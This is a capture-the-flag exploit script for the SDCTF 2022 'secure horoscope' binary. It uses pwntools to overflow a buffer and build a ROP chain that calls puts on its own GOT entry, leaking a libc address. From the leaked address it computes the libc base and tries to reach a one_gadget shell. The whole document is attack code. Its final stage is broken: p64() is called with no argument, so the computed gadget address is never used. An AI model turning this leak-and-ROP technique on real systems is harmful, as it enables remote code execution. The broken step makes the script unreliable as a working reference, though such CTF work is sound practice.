sdctf 2022 - secure horoscope

solve.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./secureHoroscope --host sechoroscope.sdc.tf --port 1337
from pwn import *

# Set up pwntools for the correct architecture
#exe = context.binary = ELF('./secureHoroscope')
exe = context.binary = ELF('./secureHoroscope_patched')


# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'sechoroscope.sdc.tf'
port = int(args.PORT or 1337)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)


libc = ELF('libc-2.27.so')


io = start()
input('waiting')
pop_rdi = 0x0000000000400873
payload = fit(
    {
        0: p64(pop_rdi) + p64(exe.symbols.got['puts']) + p64(exe.symbols['puts']) + p64(0x0400751)
    }, length=40)
io.sendafter('feel\n', payload)
payload = fit(
    {
        'daab': p64(exe.symbols.got['puts']), # rbp
        'faab': p64(0x400871) + p64(0x1122334455667788)
    }
    ,length=140
)
io.sendafter(b'horoscope\n', payload)
print(0,io.recvline())
print(1,io.recvline())
print(2,io.recvline())
puts = unpack(io.recvline()[:-1][:8],'all')
print('puts=',hex(puts))
libc.address = puts - libc.symbols['puts']
print('libc=',hex(libc.address))
sleep(0.5)
one_gadget = libc.address+0x4f2a5
payload = p64()
io.send(fit({'faab':payload}, length=140))

io.interactive()